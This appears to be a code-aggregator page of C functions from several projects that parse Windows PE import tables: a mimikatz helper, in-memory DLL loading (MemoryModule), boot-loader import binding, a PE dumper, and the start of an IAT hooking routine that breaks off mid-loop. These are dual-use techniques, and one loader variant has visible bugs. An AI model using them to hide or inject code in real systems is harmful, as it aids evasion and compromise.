NTSTATUS kull_m_process_getImportedEntryInformations(PKULL_M_MEMORY_ADDRESS address, PKULL_M_IMPORTED_ENTRY_ENUM_CALLBACK callBack, PVOID pvArg)
{
	KULL_M_MEMORY_HANDLE  hBuffer = {KULL_M_MEMORY_TYPE_OWN, NULL};
	PVOID pLocalBuffer;
	PIMAGE_IMPORT_DESCRIPTOR pImportDir;
	ULONG sizeThunk;
	ULONGLONG OriginalFirstThunk, FirstThunk, ordinalPattern;
	KULL_M_MEMORY_ADDRESS aOriginalFirstThunk = {&OriginalFirstThunk, &hBuffer}, aFirstThunk = {&FirstThunk, &hBuffer};
	KULL_M_MEMORY_ADDRESS aProcOriginalFirstThunk = {NULL, address->hMemory}, aProcName = {NULL, address->hMemory};
	KULL_M_PROCESS_IMPORTED_ENTRY importedEntry;
	BOOL continueCallback = TRUE;

	importedEntry.pFunction.hMemory = address->hMemory;
	importedEntry.function.hMemory = address->hMemory;

	if(kull_m_process_datadirectory(address, IMAGE_DIRECTORY_ENTRY_IMPORT, NULL, NULL, &importedEntry.machine, &pLocalBuffer))
	{
		if(importedEntry.machine == IMAGE_FILE_MACHINE_I386)
		{
			sizeThunk = sizeof(IMAGE_THUNK_DATA32);
			ordinalPattern = IMAGE_ORDINAL_FLAG32;
		}
		else
		{
			sizeThunk = sizeof(IMAGE_THUNK_DATA64);
			ordinalPattern = IMAGE_ORDINAL_FLAG64;
		}
		
		for(pImportDir = (PIMAGE_IMPORT_DESCRIPTOR) pLocalBuffer ; pImportDir->Characteristics && continueCallback; pImportDir++)
		{
			aProcName.address = (PBYTE) address->address + pImportDir->Name;
			if(importedEntry.libname = kull_m_process_getImportNameWithoutEnd(&aProcName))
			{
				for(
					aProcOriginalFirstThunk.address = ((PBYTE) address->address + pImportDir->OriginalFirstThunk),
					importedEntry.pFunction.address = ((PBYTE) address->address + pImportDir->FirstThunk);

					(kull_m_memory_copy(&aOriginalFirstThunk, &aProcOriginalFirstThunk, sizeThunk) && kull_m_memory_copy(&aFirstThunk, &importedEntry.pFunction, sizeThunk)) && (OriginalFirstThunk && FirstThunk) ;

					aProcOriginalFirstThunk.address = ((PBYTE) aProcOriginalFirstThunk.address + sizeThunk), ((PDWORD) &OriginalFirstThunk)[1] = 0,
					importedEntry.pFunction.address = ((PBYTE) importedEntry.pFunction.address + sizeThunk), ((PDWORD) &FirstThunk)[1] = 0
					)
				{
					importedEntry.function.address = (PVOID) FirstThunk;
					if(OriginalFirstThunk & ordinalPattern)
					{
						importedEntry.name = NULL;
						importedEntry.ordinal = IMAGE_ORDINAL(OriginalFirstThunk);
					}
					else
					{
						aProcName.address = ((PIMAGE_IMPORT_BY_NAME) ((PBYTE) address->address + OriginalFirstThunk))->Name;
						importedEntry.name = kull_m_process_getImportNameWithoutEnd(&aProcName);
						importedEntry.ordinal = 0;
					}

					continueCallback = callBack(&importedEntry, pvArg);

					if(importedEntry.name)
						LocalFree(importedEntry.name);

				}
				LocalFree(importedEntry.libname);
			}
		}
		LocalFree(pLocalBuffer);
	}
	return TRUE;
}
Exemple #2
0
static BOOL
BuildImportTable(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    ULONG_PTR lpCookie = NULL;
    BOOL result = TRUE;

    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
    if (directory->Size == 0) {
        return TRUE;
    }
    PIMAGE_DATA_DIRECTORY resource = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_RESOURCE);
    if (directory->Size == 0){
        return TRUE;
    }
    
    PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
    // Following will be used to resolve manifest in module
    if (resource->Size)
    {
        PIMAGE_RESOURCE_DIRECTORY resDir = (PIMAGE_RESOURCE_DIRECTORY)(codeBase + resource->VirtualAddress);
        PIMAGE_RESOURCE_DIRECTORY resDirTemp;
        PIMAGE_RESOURCE_DIRECTORY_ENTRY resDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) ((char*)resDir + sizeof(IMAGE_RESOURCE_DIRECTORY));
        PIMAGE_RESOURCE_DIRECTORY_ENTRY resDirEntryTemp;
        PIMAGE_RESOURCE_DATA_ENTRY resDataEntry;

        // ACTCTX Structure, not used members must be set to 0!
        ACTCTXA actctx ={0,0,0,0,0,0,0,0,0};
        actctx.cbSize =  sizeof(actctx);
        HANDLE hActCtx;
        
        // Path to temp directory + our temporary file name
        CHAR buf[MAX_PATH];
        DWORD tempPathLength = GetTempPathA(MAX_PATH, buf);
        memcpy(buf + tempPathLength,"AutoHotkey.MemoryModule.temp.manifest",38);
        actctx.lpSource = buf;

        // Enumerate Resources
        int i = 0;
        if (_CreateActCtxA != NULL)
        for (;i < resDir->NumberOfIdEntries + resDir->NumberOfNamedEntries;i++)
        {
            // Resolve current entry
            resDirEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((char*)resDir + sizeof(IMAGE_RESOURCE_DIRECTORY) + (i*sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY)));
            
            // If entry is directory and Id is 24 = RT_MANIFEST
            if (resDirEntry->DataIsDirectory && resDirEntry->Id == 24)
            {
                //resDirTemp = (PIMAGE_RESOURCE_DIRECTORY)((char*)resDir + (resDirEntry->OffsetToDirectory));
                resDirEntryTemp = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((char*)resDir + (resDirEntry->OffsetToDirectory) + sizeof(IMAGE_RESOURCE_DIRECTORY));
                resDirTemp = (PIMAGE_RESOURCE_DIRECTORY) ((char*)resDir + (resDirEntryTemp->OffsetToDirectory));
                resDirEntryTemp = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((char*)resDir + (resDirEntryTemp->OffsetToDirectory) + sizeof(IMAGE_RESOURCE_DIRECTORY));
                resDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY) ((char*)resDir + (resDirEntryTemp->OffsetToData));
                
                // Write manifest to temportary file
                // Using FILE_ATTRIBUTE_TEMPORARY will avoid writing it to disk
                // It will be deleted after CreateActCtx has been called.
                HANDLE hFile = CreateFileA(buf,GENERIC_WRITE,NULL,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_TEMPORARY,NULL);
                if (hFile == INVALID_HANDLE_VALUE)
                {
#if DEBUG_OUTPUT
                    OutputDebugStringA("CreateFile failed.\n");
#endif
                    break; //failed to create file, continue and try loading without CreateActCtx
                }
                DWORD byteswritten = 0;
                WriteFile(hFile,(codeBase + resDataEntry->OffsetToData),resDataEntry->Size,&byteswritten,NULL);
                CloseHandle(hFile);
                if (byteswritten == 0)
                {
#if DEBUG_OUTPUT
                    OutputDebugStringA("WriteFile failed.\n");
#endif
                    break; //failed to write data, continue and try loading
                }
                
                hActCtx = _CreateActCtxA(&actctx);

                // Open file and automatically delete on CloseHandle (FILE_FLAG_DELETE_ON_CLOSE)
                hFile = CreateFileA(buf,GENERIC_WRITE,FILE_SHARE_DELETE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_TEMPORARY|FILE_FLAG_DELETE_ON_CLOSE,NULL);
                CloseHandle(hFile);

                if (hActCtx == INVALID_HANDLE_VALUE)
                    break; //failed to create context, continue and try loading

                _ActivateActCtx(hActCtx,&lpCookie); // Don't care if this fails since we would countinue anyway
                break; // Break since a dll can have only 1 manifest
            }
        }
    }
    for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) {
        uintptr_t *thunkRef;
        FARPROC *funcRef;
        HCUSTOMMODULE *tmp;
        HCUSTOMMODULE handle = NULL;
        char *isMsvcr = NULL;
        if (g_hMSVCR != NULL && (isMsvcr = strstr((LPSTR)(codeBase + importDesc->Name), "MSVCR100.dll")))
        {
            handle = g_hMSVCR; //GetModuleHandle(_T("MSVCRT.dll"));
            if (tmp == NULL)
                tmp = (HCUSTOMMODULE *)malloc((sizeof(HCUSTOMMODULE)));
            if (tmp == NULL) {
                SetLastError(ERROR_OUTOFMEMORY);
                result = 0;
                break;
            }
            module->modules = tmp;
            module->modules[0] = handle;
        }
        else
            handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata);

        if (handle == NULL) {
            SetLastError(ERROR_MOD_NOT_FOUND);
            result = FALSE;
            break;
        }
        if (!isMsvcr)
        {
            tmp = (HCUSTOMMODULE *)realloc(module->modules, (module->numModules + 1)*(sizeof(HCUSTOMMODULE)));
            if (tmp == NULL) {
                module->freeLibrary(handle, module->userdata);
                SetLastError(ERROR_OUTOFMEMORY);
                result = 0;
                break;
            }
            module->modules = tmp;
            if (module->numModules == 1)
                module->modules[0] = NULL;
            module->modules[module->numModules++] = handle;
        }

        if (importDesc->OriginalFirstThunk) {
            thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
        } else {
            // no hint table
            thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
        }
        for (; *thunkRef; thunkRef++, funcRef++) {
            if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
                if (!isMsvcr)
                    *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
                else
                    *funcRef = MemoryGetProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
            } else {
                PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
                if (!isMsvcr)
                    *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
                else
                    *funcRef = MemoryGetProcAddress(handle, (LPCSTR)&thunkData->Name);
            }
            if (*funcRef == 0) {
                result = FALSE;
                break;
            }
        }

        if (!result) {
            module->freeLibrary(handle, module->userdata);
            SetLastError(ERROR_PROC_NOT_FOUND);
            break;
        }
    }
    if (_DeactivateActCtx && lpCookie)
        _DeactivateActCtx(NULL,lpCookie);
    return result;
}
static BOOL
BuildImportTable(PMEMORYMODULE module)
{
    unsigned char *codeBase = module->codeBase;
    PIMAGE_IMPORT_DESCRIPTOR importDesc;
    BOOL result = TRUE;

    PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
    if (directory->Size == 0) {
        return TRUE;
    }

    importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
    for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) {
        uintptr_t *thunkRef;
        FARPROC *funcRef;
        HCUSTOMMODULE *tmp;
        HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata);
        if (handle == NULL) {
            SetLastError(ERROR_MOD_NOT_FOUND);
            result = FALSE;
            break;
        }

        tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
        if (tmp == NULL) {
            module->freeLibrary(handle, module->userdata);
            SetLastError(ERROR_OUTOFMEMORY);
            result = FALSE;
            break;
        }
        module->modules = tmp;

        module->modules[module->numModules++] = handle;
        if (importDesc->OriginalFirstThunk) {
            thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
        } else {
            // no hint table
            thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
            funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
        }
        for (; *thunkRef; thunkRef++, funcRef++) {
            if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
                *funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
            } else {
                PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
                *funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
            }
            if (*funcRef == 0) {
                result = FALSE;
                break;
            }
        }

        if (!result) {
            module->freeLibrary(handle, module->userdata);
            SetLastError(ERROR_PROC_NOT_FOUND);
            break;
        }
    }

    return result;
}
Exemple #4
0
ARC_STATUS
BlpBindImportName (
    IN PVOID DllBase,
    IN PVOID ImageBase,
    IN PIMAGE_THUNK_DATA ThunkEntry,
    IN PIMAGE_EXPORT_DIRECTORY ExportDirectory,
    IN ULONG ExportSize,
    IN BOOLEAN SnapForwarder
    )

/*++

Routine Description:

    This routine binds an import table reference with an exported entry
    point and fills in the thunk data.

Arguments:

    DllBase - Supplies the base address of the DLL image that contains
        the export directory.  On x86 systems, a NULL DllBase binds the
        import table reference to the OsLoader's exported entry points.

    ImageBase - Supplies the base address of the image that contains
        the import thunk table.

    ThunkEntry - Supplies a pointer to a thunk table entry.

    ExportDirectory - Supplies a pointer to the export directory of the
        DLL from which references are to be resolved.

    SnapForwarder - determine if the snap is for a forwarder, and therefore
       Address of Data is already setup.

Return Value:

    ESUCCESS is returned if the specified thunk is bound. Otherwise, an
    return an unsuccessful status.

--*/

{

    PULONG FunctionTable;
    LONG High;
    ULONG HintIndex;
    LONG Low;
    LONG Middle;
    PULONG NameTable;
    ULONG Ordinal;
    PUSHORT OrdinalTable;
    LONG Result;

#if i386
    if(DllBase == NULL) {
        DllBase = (PVOID)OsLoaderBase;
    }
#endif

    //
    // If the reference is by ordinal, then compute the ordinal number.
    // Otherwise, lookup the import name in the export directory.
    //

    if (IMAGE_SNAP_BY_ORDINAL(ThunkEntry->u1.Ordinal) && !SnapForwarder) {

        //
        // Compute the ordinal.
        //

        Ordinal = (ULONG)(IMAGE_ORDINAL(ThunkEntry->u1.Ordinal) - ExportDirectory->Base);

    } else {

        if (!SnapForwarder) {
            //
            // Change AddressOfData from an RVA to a VA.
            //

            ThunkEntry->u1.AddressOfData = (PIMAGE_IMPORT_BY_NAME)((ULONG)ImageBase +
                                                    (ULONG)ThunkEntry->u1.AddressOfData);
        }

        //
        // Lookup the import name in the export table to determine the
        // ordinal.
        //

        NameTable = (PULONG)((ULONG)DllBase +
                                    (ULONG)ExportDirectory->AddressOfNames);

        OrdinalTable = (PUSHORT)((ULONG)DllBase +
                                    (ULONG)ExportDirectory->AddressOfNameOrdinals);

        //
        // If the hint index is within the limits of the name table and the
        // import and export names match, then the ordinal number can be
        // obtained directly from the ordinal table. Otherwise, the name
        // table must be searched for the specified name.
        //

        HintIndex = ThunkEntry->u1.AddressOfData->Hint;
        if ((HintIndex < ExportDirectory->NumberOfNames) &&
            (strcmp(&ThunkEntry->u1.AddressOfData->Name[0],
                    (PCHAR)((ULONG)DllBase + NameTable[HintIndex])) == 0)) {

            //
            // Get the ordinal number from the ordinal table.
            //

            Ordinal = OrdinalTable[HintIndex];

        } else {

            //
            // Lookup the import name in the name table using a binary search.
            //

            Low = 0;
            High = ExportDirectory->NumberOfNames - 1;
            while (High >= Low) {

                //
                // Compute the next probe index and compare the import name
                // with the export name entry.
                //

                Middle = (Low + High) >> 1;
                Result = strcmp(&ThunkEntry->u1.AddressOfData->Name[0],
                                (PCHAR)((ULONG)DllBase + NameTable[Middle]));

                if (Result < 0) {
                    High = Middle - 1;

                } else if (Result > 0) {
                    Low = Middle + 1;

                } else {
                    break;
                }
            }

            //
            // If the high index is less than the low index, then a matching
            // table entry was not found. Otherwise, get the ordinal number
            // from the ordinal table.
            //

            if (High < Low) {
                return EINVAL;

            } else {
                Ordinal = OrdinalTable[Middle];
            }
        }
    }

    //
    // If the ordinal number is valid, then bind the import reference and
    // return success. Otherwise, return an unsuccessful status.
    //


    if (Ordinal >= ExportDirectory->NumberOfFunctions) {
        return EINVAL;
    } else {
        FunctionTable = (PULONG)((ULONG)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
        ThunkEntry->u1.Function = (PULONG)((ULONG)DllBase + FunctionTable[Ordinal]);

        //
        // Check for a forwarder.
        //
        if ( ((ULONG)ThunkEntry->u1.Function > (ULONG)ExportDirectory) &&
             ((ULONG)ThunkEntry->u1.Function < ((ULONG)ExportDirectory + ExportSize)) ) {
            CHAR ForwardDllName[10];
            PLDR_DATA_TABLE_ENTRY DataTableEntry;
            ULONG TargetExportSize;
            PIMAGE_EXPORT_DIRECTORY TargetExportDirectory;

            RtlCopyMemory(ForwardDllName,
                          (PCHAR)ThunkEntry->u1.Function,
                          sizeof(ForwardDllName));
            *strchr(ForwardDllName,'.') = '\0';
            if (!BlCheckForLoadedDll(ForwardDllName,&DataTableEntry)) {
                //
                // Should load the referenced DLL here, just return failure for now.
                //

                return(EINVAL);
            }
            TargetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)
                RtlImageDirectoryEntryToData(DataTableEntry->DllBase,
                                             TRUE,
                                             IMAGE_DIRECTORY_ENTRY_EXPORT,
                                             &TargetExportSize);
            if (TargetExportDirectory) {

                IMAGE_THUNK_DATA thunkData;
                PIMAGE_IMPORT_BY_NAME addressOfData;
                UCHAR Buffer[128];
                ULONG length;
                PCHAR ImportName;
                ARC_STATUS Status;

                ImportName = strchr((PCHAR)ThunkEntry->u1.Function, '.') + 1;
                addressOfData = (PIMAGE_IMPORT_BY_NAME)Buffer;
                RtlCopyMemory(&addressOfData->Name[0], ImportName, strlen(ImportName)+1);
                addressOfData->Hint = 0;
                thunkData.u1.AddressOfData = addressOfData;
                Status = BlpBindImportName(DataTableEntry->DllBase,
                                           ImageBase,
                                           &thunkData,
                                           TargetExportDirectory,
                                           TargetExportSize,
                                           TRUE);
                ThunkEntry->u1 = thunkData.u1;
                return(Status);
            } else {
                return(EINVAL);
            }
        }
        return ESUCCESS;
    }
}
Exemple #5
0
static BOOLEAN
WinLdrpBindImportName(IN OUT PLIST_ENTRY ModuleListHead,
                      IN PVOID DllBase,
                      IN PVOID ImageBase,
                      IN PIMAGE_THUNK_DATA ThunkData,
                      IN PIMAGE_EXPORT_DIRECTORY ExportDirectory,
                      IN ULONG ExportSize,
                      IN BOOLEAN ProcessForwards,
                      IN PCSTR DirectoryPath)
{
    ULONG Ordinal;
    PULONG NameTable, FunctionTable;
    PUSHORT OrdinalTable;
    LONG High, Low, Middle, Result;
    ULONG Hint;
    PIMAGE_IMPORT_BY_NAME ImportData;
    PCHAR ExportName, ForwarderName;
    BOOLEAN Success;

    //TRACE("WinLdrpBindImportName(): DllBase 0x%X, ImageBase 0x%X, ThunkData 0x%X, ExportDirectory 0x%X, ExportSize %d, ProcessForwards 0x%X\n",
    //    DllBase, ImageBase, ThunkData, ExportDirectory, ExportSize, ProcessForwards);

    /* Check passed DllBase param */
    if(DllBase == NULL)
    {
        WARN("DllBase == NULL!\n");
        return FALSE;
    }

    /* Convert all non-critical pointers to PA from VA */
    ThunkData = VaToPa(ThunkData);

    /* Is the reference by ordinal? */
    if (IMAGE_SNAP_BY_ORDINAL(ThunkData->u1.Ordinal) && !ProcessForwards)
    {
        /* Yes, calculate the ordinal */
        Ordinal = (ULONG)(IMAGE_ORDINAL(ThunkData->u1.Ordinal) - (UINT32)ExportDirectory->Base);
        //TRACE("WinLdrpBindImportName(): Ordinal %d\n", Ordinal);
    }
    else
    {
        /* It's reference by name, we have to look it up in the export directory */
        if (!ProcessForwards)
        {
            /* AddressOfData in thunk entry will become a virtual address (from relative) */
            //TRACE("WinLdrpBindImportName(): ThunkData->u1.AOD was %p\n", ThunkData->u1.AddressOfData);
            ThunkData->u1.AddressOfData =
                (ULONG_PTR)RVA(ImageBase, ThunkData->u1.AddressOfData);
            //TRACE("WinLdrpBindImportName(): ThunkData->u1.AOD became %p\n", ThunkData->u1.AddressOfData);
        }

        /* Get the import name */
        ImportData = VaToPa((PVOID)ThunkData->u1.AddressOfData);

        /* Get pointers to Name and Ordinal tables (RVA -> VA) */
        NameTable = VaToPa(RVA(DllBase, ExportDirectory->AddressOfNames));
        OrdinalTable = VaToPa(RVA(DllBase, ExportDirectory->AddressOfNameOrdinals));

        //TRACE("NameTable 0x%X, OrdinalTable 0x%X, ED->AddressOfNames 0x%X, ED->AOFO 0x%X\n",
        //    NameTable, OrdinalTable, ExportDirectory->AddressOfNames, ExportDirectory->AddressOfNameOrdinals);

        /* Get the hint, convert it to a physical pointer */
        Hint = ((PIMAGE_IMPORT_BY_NAME)VaToPa((PVOID)ThunkData->u1.AddressOfData))->Hint;
        //TRACE("HintIndex %d\n", Hint);

        /* Get the export name from the hint */
        ExportName = VaToPa(RVA(DllBase, NameTable[Hint]));

        /* If Hint is less than total number of entries in the export directory,
           and import name == export name, then we can just get it from the OrdinalTable */
        if ((Hint < ExportDirectory->NumberOfNames) &&
            (strcmp(ExportName, (PCHAR)ImportData->Name) == 0))
        {
            Ordinal = OrdinalTable[Hint];
            //TRACE("WinLdrpBindImportName(): Ordinal %d\n", Ordinal);
        }
        else
        {
            /* It's not the easy way, we have to lookup import name in the name table.
               Let's use a binary search for this task. */

            //TRACE("WinLdrpBindImportName() looking up the import name using binary search...\n");

            /* Low boundary is set to 0, and high boundary to the maximum index */
            Low = 0;
            High = ExportDirectory->NumberOfNames - 1;

            /* Perform a binary-search loop */
            while (High >= Low)
            {
                /* Divide by 2 by shifting to the right once */
                Middle = (Low + High) / 2;

                /* Get the name from the name table */
                ExportName = VaToPa(RVA(DllBase, NameTable[Middle]));

                /* Compare the names */
                Result = strcmp(ExportName, (PCHAR)ImportData->Name);

                /*TRACE("Binary search: comparing Import '__', Export '%s'\n",*/
                    /*VaToPa(&((PIMAGE_IMPORT_BY_NAME)VaToPa(ThunkData->u1.AddressOfData))->Name[0]),*/
                    /*(PCHAR)VaToPa(RVA(DllBase, NameTable[Middle])));*/

                /*TRACE("TE->u1.AOD %p, fulladdr %p\n",
                    ThunkData->u1.AddressOfData,
                    ((PIMAGE_IMPORT_BY_NAME)VaToPa(ThunkData->u1.AddressOfData))->Name );*/


                /* Depending on result of strcmp, perform different actions */
                if (Result > 0)
                {
                    /* Adjust top boundary */
                    High = Middle - 1;
                }
                else if (Result < 0)
                {
                    /* Adjust bottom boundary */
                    Low = Middle + 1;
                }
                else
                {
                    /* Yay, found it! */
                    break;
                }
            }

            /* If high boundary is less than low boundary, then no result found */
            if (High < Low)
            {
                //Print(L"Error in binary search\n");
                ERR("Did not find export '%s'!\n", (PCHAR)ImportData->Name);
                return FALSE;
            }

            /* Everything alright, get the ordinal */
            Ordinal = OrdinalTable[Middle];

            //TRACE("WinLdrpBindImportName() found Ordinal %d\n", Ordinal);
        }
    }

    /* Check ordinal number for validity! */
    if (Ordinal >= ExportDirectory->NumberOfFunctions)
    {
        ERR("Ordinal number is invalid!\n");
        return FALSE;
    }

    /* Get a pointer to the function table */
    FunctionTable = (PULONG)VaToPa(RVA(DllBase, ExportDirectory->AddressOfFunctions));

    /* Save a pointer to the function */
    ThunkData->u1.Function = (ULONG_PTR)RVA(DllBase, FunctionTable[Ordinal]);

    /* Is it a forwarder? (function pointer is within the export directory) */
    ForwarderName = (PCHAR)VaToPa((PVOID)ThunkData->u1.Function);
    if (((ULONG_PTR)ForwarderName > (ULONG_PTR)ExportDirectory) &&
        ((ULONG_PTR)ForwarderName < ((ULONG_PTR)ExportDirectory + ExportSize)))
    {
        PLDR_DATA_TABLE_ENTRY DataTableEntry;
        CHAR ForwardDllName[255];
        PIMAGE_EXPORT_DIRECTORY RefExportDirectory;
        ULONG RefExportSize;
        TRACE("WinLdrpBindImportName(): ForwarderName %s\n", ForwarderName);

        /* Save the name of the forward dll */
        RtlCopyMemory(ForwardDllName, ForwarderName, sizeof(ForwardDllName));

        /* Strip out the symbol name */
        *strrchr(ForwardDllName,'.') = '\0';

        /* Check if the target image is already loaded */
        if (!WinLdrCheckForLoadedDll(ModuleListHead, ForwardDllName, &DataTableEntry))
        {
            /* Check if the forward dll name has an extension */
            if (strchr(ForwardDllName, '.') == NULL)
            {
                /* Name does not have an extension, append '.dll' */
                strcat(ForwardDllName, ".dll");
            }

            /* Now let's try to load it! */
            Success = WinLdrpLoadAndScanReferencedDll(ModuleListHead,
                                                      DirectoryPath,
                                                      ForwardDllName,
                                                      &DataTableEntry);
            if (!Success)
            {
                ERR("WinLdrpLoadAndScanReferencedDll() failed to load forwarder dll.\n");
                return Success;
            }
        }

        /* Get pointer to the export directory of loaded DLL */
        RefExportDirectory = (PIMAGE_EXPORT_DIRECTORY)
            RtlImageDirectoryEntryToData(VaToPa(DataTableEntry->DllBase),
            TRUE,
            IMAGE_DIRECTORY_ENTRY_EXPORT,
            &RefExportSize);

        /* Fail if it's NULL */
        if (RefExportDirectory)
        {
            UCHAR Buffer[128];
            IMAGE_THUNK_DATA RefThunkData;
            PIMAGE_IMPORT_BY_NAME ImportByName;
            PCHAR ImportName;

            /* Get pointer to the import name */
            ImportName = strrchr(ForwarderName, '.') + 1;

            /* Create a IMAGE_IMPORT_BY_NAME structure, pointing to the local Buffer */
            ImportByName = (PIMAGE_IMPORT_BY_NAME)Buffer;

            /* Fill the name with the import name */
            RtlCopyMemory(ImportByName->Name, ImportName, strlen(ImportName)+1);

            /* Set Hint to 0 */
            ImportByName->Hint = 0;

            /* And finally point ThunkData's AddressOfData to that structure */
            RefThunkData.u1.AddressOfData = (ULONG_PTR)ImportByName;

            /* And recursively call ourselves */
            Success = WinLdrpBindImportName(ModuleListHead,
                                            DataTableEntry->DllBase,
                                            ImageBase,
                                            &RefThunkData,
                                            RefExportDirectory,
                                            RefExportSize,
                                            TRUE,
                                            DirectoryPath);

            /* Fill out the ThunkData with data from RefThunkData */
            ThunkData->u1 = RefThunkData.u1;

            /* Return what we got from the recursive call */
            return Success;
        }
        else
        {
            /* Fail if ExportDirectory is NULL */
            return FALSE;
        }
    }

    /* Success! */
    return TRUE;
}
Exemple #6
0
static void dump_import_directory(const void *const section_base, const DWORD section_base_virtual, const IMAGE_IMPORT_DESCRIPTOR * imp)
    /* dump of import directory.
     * quite a challenge because of broken linkers, unbound/old-bound and new-bound directories
     */
{
      #define indent "      "
      #define adr(rva) ((const void*)((char*)section_base+((DWORD)(rva))-section_base_virtual))

    for (; !IsBadReadPtr(imp, sizeof(*imp)) && imp->Name; imp++)
      {
          const IMAGE_THUNK_DATA *import_entry, *mapped_entry;
          enum
            {
                bound_none, bound_old, bound_new
            }
          bound;

          printf("\n" indent "from \"%s\":\n", (char *)adr(imp->Name));

          if (imp->TimeDateStamp == ~0UL)
            {
                puts(indent "bound, new style");
                bound = bound_new;
            }
          else if (imp->TimeDateStamp)
            {
                printf(indent "bound (old style) to %s", asctime(gmtime((const time_t *)&imp->TimeDateStamp)));
                bound = bound_old;
            }
          else
            {
                puts(indent "not bound");
                bound = bound_none;
            }

          printf(indent "name table at %#lx, address table at %#lx\n", imp->OriginalFirstThunk, imp->FirstThunk);

          if (imp->OriginalFirstThunk)
            {
                import_entry = adr(imp->OriginalFirstThunk);
                mapped_entry = adr(imp->FirstThunk);
            }
          else
            {
                puts(indent "(hint table missing, probably Borland bug)");
                import_entry = adr(imp->FirstThunk);
                mapped_entry = 0;
                bound = bound_none;
            }

          printf(indent "%6s %s\n", "hint", "name");
          printf(indent "%6s %s\n", "----", "----");

          {
              int count, nextforwarder = bound==bound_old ? imp->ForwarderChain : -1;
              for (count = 0; import_entry->u1.Ordinal; count++, import_entry++, bound ? mapped_entry++ : 0)
                {
                    if (IMAGE_SNAP_BY_ORDINAL(import_entry->u1.Ordinal))
                        printf(indent "%6lu %-20s", IMAGE_ORDINAL(import_entry->u1.Ordinal),"<ordinal>");
                    else
                      {
                          const IMAGE_IMPORT_BY_NAME *name_import = adr(import_entry->u1.AddressOfData);
                          printf(indent "%6u %-20.50s", name_import->Hint, name_import->Name);
                      }
                    if (bound)
                        if (count != nextforwarder)
                            printf("%#12lx\n", (unsigned long)mapped_entry->u1.Function);
                        else
                          {
                              printf("%12s\n", "    --> forward");
                              nextforwarder = (int)mapped_entry->u1.ForwarderString;
                          }
                    else
                        puts("");
                }
          }
      }
    if (IsBadReadPtr(imp, sizeof(*imp)))
        puts(indent "!! data inaccessible!!");

      #undef adr
      #undef indent
}
Exemple #7
0
bool PLH::IATHook::FindIATFunc(const char* LibraryName,const char* FuncName, PIMAGE_THUNK_DATA* pFuncThunkOut,const char* Module)
{
	bool UseModuleName = true;
	if (Module == NULL || Module[0] == '\0')
		UseModuleName = false;

	HINSTANCE hInst = GetModuleHandleA(UseModuleName ? Module:NULL);
	if (!hInst)
	{
		PostError(RuntimeError(RuntimeError::Severity::UnRecoverable, "PolyHook IATHook:Failed to find Module"));
		return false;
	}

	ULONG Sz;
	PIMAGE_IMPORT_DESCRIPTOR pImports = (PIMAGE_IMPORT_DESCRIPTOR)
		ImageDirectoryEntryToDataEx(hInst, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &Sz, nullptr);

	for (int i = 0; pImports[i].Characteristics != 0; i++)
	{
		char* _ModuleName = (char*)ResolveRVA(hInst, pImports[i].Name);
		if (_stricmp(_ModuleName, LibraryName) != 0)
			continue;

		//Original holds the API Names
		PIMAGE_THUNK_DATA pOriginalThunk = (PIMAGE_THUNK_DATA)
			ResolveRVA(hInst, pImports->OriginalFirstThunk);

		//FirstThunk is overwritten by loader with API addresses, we change this
		PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)
			ResolveRVA(hInst, pImports->FirstThunk);
		
		if (!pOriginalThunk)
		{
			PostError(RuntimeError(RuntimeError::Severity::Critical, "PolyHook IATHook:PE Files without OriginalFirstThunk are unsupported"));
			return false;
		}

		//Table is null terminated, increment both tables
		for (; pOriginalThunk->u1.Function != NULL; pOriginalThunk++,pThunk++)
		{
